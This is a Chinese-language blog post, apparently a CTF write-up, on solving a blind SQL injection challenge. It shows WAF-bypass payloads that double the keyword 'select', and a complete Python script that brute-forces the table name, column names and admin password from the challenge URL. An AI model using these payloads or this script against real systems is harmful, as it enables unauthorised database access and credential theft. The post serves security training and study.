CTF打怪升级录: sqli-实验吧-这个看起来有点简单

渗透学习系列先暂缓,感觉还要再整理整理,先记录一下最近做的sql注入题吧。

这道题网上一搜都是write up,好像已经写无可写,不过我在浏览各位大佬们的write up的时候发现这道题姿势有点多,而且大佬们写的脚本有的小技巧值得记录一下。

题目链接

这个看起来有点简单

解题思路

寻找注入点

这道题有3个参数:admin, pass和action,都是采用GET方法发送,这里每个参数都删除修改一下。
这道题第一个关键点是admin参数中输入admin时,出现的提示信息是“登录失败,错误的用户名和密码”:
admin=admin的回显
如果admin参数输入其他内容,则出现的提示信息是连接数据库失败,当输入admin’时,没有回显信息。
而pass和action两个参数无论怎么修改都没有什么变化,于是确定注入点在admin参数上。
这个点的回显信息如下:

  • 数据库查询到数据:登录失败,错误的用户名和密码
  • 数据库没有查询到数据:数据库连接失败!
  • sql语句出错:无回显
  • 触发WAF:弹窗提示

绕过WAF

到这可以确定这道题属于盲注了,然后先上最基本的盲注语句试探一下WAF:
输入:

1
?admin=admin' and mid((select table_name from information_schema.tables where table_schema=database() limit 1),1,1)='a';-- -&pass=&action=login

注意这里的table_schema=database(),这可以帮你省去爆破数据库名的时间。
输出:
绕waf尝试

可以看到语句没有执行成功,从回显的情况来看是过滤掉了select,尝试双写绕过:
输入:

1
?admin=admin' and mid((seselectlect table_name from information_schema.tables where table_schema=database() limit 1),1,1)='a';-- -&pass=&action=login

输出:
绕waf成功

之后又试探了一下length函数发现可以使用,那么接下来就是愉快的代码时间~

编写脚本

注意一下脚本中对requests.get()返回值的encoding属性的设置,当回显中存在中文时最好这样设置,否则回显是乱码,if的判断会出问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#author: sinex8
#write for: http://ctf5.shiyanbar.com/basic/inject/index.php

import requests

def getTlen():
Tlen = 0
for l in range(1,31):
r = session.get(url + "?admin=admin%27%20and%20length((seselectlect%20table_name%20from%20information_schema.tables%20where%20table_schema=database()))={};--%20-&pass=&action=login".format(l))
r.encoding = 'gbk'
if r.text.find('登录失败,错误的用户名和密码') >=0:
Tlen = l
break
return Tlen

def getT():
Tlen = getTlen()
#print("Tlen:",Tlen)
Tname = ""
for i in range(1,Tlen+1):
for p in payload:
r = session.get(url + "?admin=admin' and mid((seselectlect table_name from information_schema.tables where table_schema=database()),{},1)='{}';-- -&pass=&action=login".format(i,p))
r.encoding = 'gbk'
if r.text.find('登录失败,错误的用户名和密码') >=0:
Tname = Tname + p
break
return Tname

def getClen(Tname):
Clen=[]
for n in range(0,2):
i = 1
while i > 0:
r = session.get(url + "?admin=admin' and length((seselectlect column_name from information_schema.columns where table_schema=database() and table_name='{}' limit {},1))={};-- -&pass=&action=login".format(Tname,n,i))
r.encoding = 'gbk'
if r.text.find('登录失败,错误的用户名和密码') >=0:
Clen.append(i)
break
i = i + 1

return Clen

def getC(Tname):
Clen = getClen(Tname)
#print("Clens:",Clen)
Cnames = ['','']
for n in range(0,2):
for i in range(1, Clen[n]+1):
for p in payload:
r = session.get(url + "?admin=admin' and mid((seselectlect column_name from information_schema.columns where table_schema=database() and table_name='{}' limit {},1),{},1)='{}';-- -&pass=&action=login".format(Tname,n,i,p))
r.encoding = 'gbk'
if r.text.find('登录失败,错误的用户名和密码') >=0:
Cnames[n] = Cnames[n] + p
break
return Cnames

def getPlen(Tname, Cname):
i = 1
while i > 0:
r = session.get(url + "?admin=admin' and length((seselectlect {} from {}))={};-- -&pass=&action=login".format(Cname, Tname, i))
r.encoding = 'gbk'
if r.text.find('登录失败,错误的用户名和密码') >= 0:
#print("Plen:",i)
return i
i = i + 1

def getPwd():
Tname = getT()
Cnames = getC(Tname)
#由于这道题很明显username是admin,这里就不去爆破username的值了
Plen = getPlen(Tname, Cnames[1])
pwd = ""
for i in range(1,Plen+1):
for p in payload:
r = session.get(url + "?admin=admin' and mid((seselectlect {} from {}),{},1)='{}';-- -&pass=&action=login".format(Cnames[1], Tname, i, p))
r.encoding = 'gbk'
if r.text.find('登录失败,错误的用户名和密码') >= 0:
pwd = pwd + p
break
return pwd


def main():
global url
global session
global payload
url = 'http://ctf5.shiyanbar.com/basic/inject/index.php'
session = requests.Session()
payload = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_,:-{}'"

print("admin:",getPwd())




if __name__ == '__main__':
main()

总结

总的来说这道题其实就是很基本的sql盲注题,waf的设置上很简单,按部就班的爆破表名、列名、内容就能得到flag。
我在写脚本的时候把每一个环节中获取长度的步骤也写成了代码,这是为了让代码看起来更完整,但其实实际注入的时候我推荐手工使用二分法来获取各种长度,你会发现比码一个二分法快很多(暴露了算法渣的身份OTZ
我在前文中说这道题还有其他的姿势是因为我看到有的大佬使用了基于时间的盲注来解题,原因是WAF中没有对sleep函数进行过滤,所以基于时间的盲注当然也是可行的,不过在能直接进行布尔型盲注的时候我们就不考虑基于时间的盲注了,因为后者的效率实在太低了。

文章作者: SineX8
文章链接: http://sinex8.github.io/2019/06/21/CTF-sqli-实验吧-这个看起来有点简单/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 SineX8's Area